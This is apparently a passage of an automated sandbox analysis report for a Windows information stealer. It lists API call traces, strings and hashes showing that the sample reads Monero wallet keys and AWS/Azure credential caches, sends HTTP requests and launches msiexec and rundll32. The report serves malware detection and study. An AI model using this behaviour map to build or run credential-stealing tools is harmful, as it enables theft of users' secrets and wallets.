lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0116ED98,00000000,?,0116A9E8,00000000,?,00881A1C), ref: 00865E71
lstrlen.KERNEL32(00000000), ref: 00865E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00865E93
RtlAllocateHeap.NTDLL(00000000), ref: 00865E9A
lstrlen.KERNEL32(00000000), ref: 00865EAF
lstrlen.KERNEL32(00000000), ref: 00865ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00865EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00865F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00865F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00865F4C
InternetCloseHandle.WININET(00000000), ref: 00865FB0
InternetCloseHandle.WININET(00000000), ref: 00865FBD
HttpOpenRequestA.WININET(00000000,0116EDA8,?,0116E750,00000000,00000000,00400100,00000000), ref: 00865BF8

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

InternetCloseHandle.WININET(00000000), ref: 00865FC7

Strings

------, xrefs: 00865A96
", xrefs: 00865CD5
------, xrefs: 00865D4C
", xrefs: 00865E16
------, xrefs: 00865C0B

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: ba03ac144b5aa7c9d4a95143c60b98ec366fb06883dc6acae8e1c6c5098afee8
Instruction ID: ed2bebc3df0acc361e623ae80c658578e6d4856326882d629f8ef20f698da332
Opcode Fuzzy Hash: ba03ac144b5aa7c9d4a95143c60b98ec366fb06883dc6acae8e1c6c5098afee8
Instruction Fuzzy Hash: 3D12F171820118ABDB19EBA4DC95FEEB378FF54700F508169B11AE2095DF706A4ACF53

Function 0086CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 00878B60: GetSystemTime.KERNEL32(00880E1A,0116ABF8,008805AE,?,?,008613F9,?,0000001A,00880E1A,00000000,?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 00878B86

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0086CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0086D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0086D0CE
lstrcat.KERNEL32(?,00000000), ref: 0086D208
lstrcat.KERNEL32(?,00881478), ref: 0086D217
lstrcat.KERNEL32(?,00000000), ref: 0086D22A
lstrcat.KERNEL32(?,0088147C), ref: 0086D239
lstrcat.KERNEL32(?,00000000), ref: 0086D24C
lstrcat.KERNEL32(?,00881480), ref: 0086D25B
lstrcat.KERNEL32(?,00000000), ref: 0086D26E
lstrcat.KERNEL32(?,00881484), ref: 0086D27D
lstrcat.KERNEL32(?,00000000), ref: 0086D290
lstrcat.KERNEL32(?,00881488), ref: 0086D29F
lstrcat.KERNEL32(?,00000000), ref: 0086D2B2
lstrcat.KERNEL32(?,0088148C), ref: 0086D2C1
lstrcat.KERNEL32(?,00000000), ref: 0086D2D4
lstrcat.KERNEL32(?,00881490), ref: 0086D2E3

Part of subcall function 0087A820: lstrlen.KERNEL32(00864F05,?,?,00864F05,00880DDE), ref: 0087A82B
Part of subcall function 0087A820: lstrcpy.KERNEL32(00880DDE,00000000), ref: 0087A885

lstrlen.KERNEL32(?), ref: 0086D32A
lstrlen.KERNEL32(?), ref: 0086D339

Part of subcall function 0087AA70: StrCmpCA.SHLWAPI(01169518,0086A7A7,?,0086A7A7,01169518), ref: 0087AA8F

DeleteFileA.KERNEL32(00000000), ref: 0086D3B4

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 9d87d5a5cba43458b06957e556bbb9358ee3b206b34518c18842842e577116d0
Instruction ID: 060f390fccc4c0f9d3046b5faddf913f68d94ef5860c3a572f8d720e96d722b7
Opcode Fuzzy Hash: 9d87d5a5cba43458b06957e556bbb9358ee3b206b34518c18842842e577116d0
Instruction Fuzzy Hash: FCE1ED71910109ABCB08EBE4DD96EEE7378FF64301F108168F51AE6195DF35AA06CB63

Function 0086C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0116D950,00000000,?,0088144C,00000000,?,?), ref: 0086CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0086CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0086CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0086CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0086CAD9
StrStrA.SHLWAPI(?,0116D9F8,00880B52), ref: 0086CAF7
StrStrA.SHLWAPI(00000000,0116DA28), ref: 0086CB1E
StrStrA.SHLWAPI(?,0116E078,00000000,?,00881458,00000000,?,00000000,00000000,?,01169398,00000000,?,00881454,00000000,?), ref: 0086CCA2
StrStrA.SHLWAPI(00000000,0116E2F8), ref: 0086CCB9

Part of subcall function 0086C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0086C871
Part of subcall function 0086C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0086C87C

StrStrA.SHLWAPI(?,0116E2F8,00000000,?,0088145C,00000000,?,00000000,01169468), ref: 0086CD5A
StrStrA.SHLWAPI(00000000,01169678), ref: 0086CD71

Part of subcall function 0086C820: lstrcat.KERNEL32(?,00880B46), ref: 0086C943
Part of subcall function 0086C820: lstrcat.KERNEL32(?,00880B47), ref: 0086C957
Part of subcall function 0086C820: lstrcat.KERNEL32(?,00880B4E), ref: 0086C978

lstrlen.KERNEL32(00000000), ref: 0086CE44
CloseHandle.KERNEL32(00000000), ref: 0086CE9C

Strings

, xrefs: 0086C9C6

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: e3f6d07d52772a28e09a6025c0c11d11bfa486b1950729c7f13f8ea4a307974c
Instruction ID: 1e8f3c4daa0319820f857b25083e9228945b35430bcee74d6f2fc1a0a66fecd3
Opcode Fuzzy Hash: e3f6d07d52772a28e09a6025c0c11d11bfa486b1950729c7f13f8ea4a307974c
Instruction Fuzzy Hash: 74E11271800109ABDB19EBA4DC95FEEB778FF54300F008169F51AE6195DF34AA4ACB63

Function 00878320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

RegOpenKeyExA.ADVAPI32(00000000,0116B920,00000000,00020019,00000000,008805B6), ref: 008783A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00878426
wsprintfA.USER32 ref: 00878459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0087847B
RegCloseKey.ADVAPI32(00000000), ref: 0087848C
RegCloseKey.ADVAPI32(00000000), ref: 00878499

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Strings

?, xrefs: 0087837A
%s\%s, xrefs: 0087844D
- , xrefs: 008785A3

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e0c25b46609d05120503ddb1dc4780a7689a12ebd5ebc14f980f7b19b544dc79
Instruction ID: 23c4277d34e4b3c3d07ca6caeba01401a380d59c4288a312702707f4e4f3c8be
Opcode Fuzzy Hash: e0c25b46609d05120503ddb1dc4780a7689a12ebd5ebc14f980f7b19b544dc79
Instruction Fuzzy Hash: 1F810D71910118ABDB68DB54CC95FEE77B8FF58700F00C298E11AA6184DF75AB86CF92

Function 00874D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00878DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00878E0B

lstrcat.KERNEL32(?,00000000), ref: 00874DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00874DCD

Part of subcall function 00874910: wsprintfA.USER32 ref: 0087492C
Part of subcall function 00874910: FindFirstFileA.KERNEL32(?,?), ref: 00874943

lstrcat.KERNEL32(?,00000000), ref: 00874E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00874E59

Part of subcall function 00874910: StrCmpCA.SHLWAPI(?,00880FDC), ref: 00874971
Part of subcall function 00874910: StrCmpCA.SHLWAPI(?,00880FE0), ref: 00874987
Part of subcall function 00874910: FindNextFileA.KERNEL32(000000FF,?), ref: 00874B7D
Part of subcall function 00874910: FindClose.KERNEL32(000000FF), ref: 00874B92

lstrcat.KERNEL32(?,00000000), ref: 00874EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00874EE5

Part of subcall function 00874910: wsprintfA.USER32 ref: 008749B0
Part of subcall function 00874910: StrCmpCA.SHLWAPI(?,008808D2), ref: 008749C5
Part of subcall function 00874910: wsprintfA.USER32 ref: 008749E2
Part of subcall function 00874910: PathMatchSpecA.SHLWAPI(?,?), ref: 00874A1E
Part of subcall function 00874910: lstrcat.KERNEL32(?,0116EE98), ref: 00874A4A
Part of subcall function 00874910: lstrcat.KERNEL32(?,00880FF8), ref: 00874A5C
Part of subcall function 00874910: lstrcat.KERNEL32(?,?), ref: 00874A70
Part of subcall function 00874910: lstrcat.KERNEL32(?,00880FFC), ref: 00874A82
Part of subcall function 00874910: lstrcat.KERNEL32(?,?), ref: 00874A96
Part of subcall function 00874910: CopyFileA.KERNEL32(?,?,00000001), ref: 00874AAC
Part of subcall function 00874910: DeleteFileA.KERNEL32(?), ref: 00874B31

Strings

Azure\.aws, xrefs: 00874E5F
\.IdentityService\, xrefs: 00874ED9
*.*, xrefs: 00874DD8
*.*, xrefs: 00874E64
\.aws\, xrefs: 00874E4D
\.azure\, xrefs: 00874DC1
msal.cache, xrefs: 00874EF0
Azure\.azure, xrefs: 00874DD3
Azure\.IdentityService, xrefs: 00874EEB

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 29ee20e837e2989f4959644b228f8e5dee054a6c5f994525032e2f3b997c64b5
Instruction ID: 62d3c4a83dee4199732342bcc367922a01b1006912664bcb8f0be5d41c2b738d
Opcode Fuzzy Hash: 29ee20e837e2989f4959644b228f8e5dee054a6c5f994525032e2f3b997c64b5
Instruction Fuzzy Hash: 4341607A94020466CB54F760DC8BFED7678FB64700F004454B29AE61C5EEB89B8ACB93

Function 00879010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0087906C

Strings

image/jpeg, xrefs: 00879136

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 955d1d4a3eda1b7cb55b65707605b4ff07c2f5ca42e45f48413641ddfdf5bf20
Instruction ID: 6a0ff4457fd288af608d60ee8b8ff7b1f4bdf511965e3926438ef34fa0a91c2e
Opcode Fuzzy Hash: 955d1d4a3eda1b7cb55b65707605b4ff07c2f5ca42e45f48413641ddfdf5bf20
Instruction Fuzzy Hash: DB71CB75910209ABDB04EBE4DC89FEEB7B8FB58700F148518F516E7294DB34E905CB62

Function 00872E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

ShellExecuteEx.SHELL32(0000003C), ref: 008731C5
ShellExecuteEx.SHELL32(0000003C), ref: 0087335D
ShellExecuteEx.SHELL32(0000003C), ref: 008734EA

Strings

/i ", xrefs: 008733E4
C:\Windows\system32\msiexec.exe, xrefs: 008734BF
.msi, xrefs: 00873398
<, xrefs: 00873490
C:\Windows\system32\rundll32.exe, xrefs: 00873332
/passive, xrefs: 0087345B
.dll, xrefs: 008731E5
"" , xrefs: 0087309A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 4d6a71bf9ca276a633571df1f5bd1a51e82cd7119ae1d74dadb514cd6f195410
Instruction ID: 9898c94f09cc993c22b0e17e39caa8963a36926e2e36d697b0dbfb2470df7dfa
Opcode Fuzzy Hash: 4d6a71bf9ca276a633571df1f5bd1a51e82cd7119ae1d74dadb514cd6f195410
Instruction Fuzzy Hash: FE12E0718001089ADB19FBA4DC92FDEB778FF54300F508169E51AA6199EF34AB4ACF53

Function 008752C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 00866280: InternetOpenA.WININET(00880DFE,00000001,00000000,00000000,00000000), ref: 008662E1
Part of subcall function 00866280: StrCmpCA.SHLWAPI(?,0116ED88), ref: 00866303
Part of subcall function 00866280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00866335
Part of subcall function 00866280: HttpOpenRequestA.WININET(00000000,GET,?,0116E750,00000000,00000000,00400100,00000000), ref: 00866385
Part of subcall function 00866280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008663BF
Part of subcall function 00866280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008663D1

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00875318
lstrlen.KERNEL32(00000000), ref: 0087532F

Part of subcall function 00878E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00878E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00875364
lstrlen.KERNEL32(00000000), ref: 00875383
lstrlen.KERNEL32(00000000), ref: 008753AE

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Strings

ERROR, xrefs: 0087546F
ERROR, xrefs: 008753B9
ERROR, xrefs: 0087530A
ERROR, xrefs: 00875432
ERROR, xrefs: 008754A9

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity
